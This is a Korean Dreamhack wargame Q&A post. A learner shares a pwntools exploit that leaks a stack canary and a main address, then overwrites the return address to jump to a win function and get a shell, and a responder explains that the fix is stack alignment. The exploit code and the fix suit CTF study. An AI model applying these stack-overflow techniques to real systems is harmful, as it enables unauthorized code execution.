완료됨
왜 안되는지 모르겠습니다.
from pwn import *


p = process("./main")
#p = remote("host1.dreamhack.games", 15816)
context.log_level = 'debug'

#[1] leak the canary
payload = b'a'*7
p.sendafter("Pattern: ", payload)
p.sendafter("Target length: ", b"1000\n")
p.recvn(1001)
canary = b"\x00" + p.recvn(7)
canary_ = u64(canary)
print(f"canary: {canary}")

#[2] leak the main address
payload = b'b'*43
p.sendafter("Pattern: ", payload)

p.sendafter("Target length: ", b"1000\n")
p.recvn(1032)
main = p.recvn(6) + b"\x00\x00"
main_addr = u64(main)
print(f"[+] main_addr = {hex(main_addr)}")
win = main_addr - 26
print(f"[+] win_addr = {hex(win)}")

#[3] overwrite the return address
payload = b'a'*11 + p64(canary_) + p64(win)*3
print(f"[+] payload = {hexdump(payload)}")
p.sendafter("Pattern: ", payload)
p.sendafter("Target length: ", b"1000\n")
p.interactive()

코드는 위와 같이 작성했고 마지막에 target_len에 1000보다 큰 값을 입력 후 while문을 빠져나오면 ret주소가 win으로 덮여서 셸이 실행 되는 것을 기대했는데 왜 실행이 안되는지 잘 모르겠습니다.

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
Garden_
시스템 해킹 입문
avatar
Garden_
시스템 해킹 입문

image.png

system이 실행될 때 정렬 기준이 맞지 않아서 오류가 발생합니다. 따라서 win 함수가 호출되기 전에 정렬 기준을 맞춰주시거나, win 함수 시작 주소에 스택 정리하는 부분 뒤의 주소로 점프하도록 맞춰주시면 잘 실행됩니다.

2025.07.24. 00:35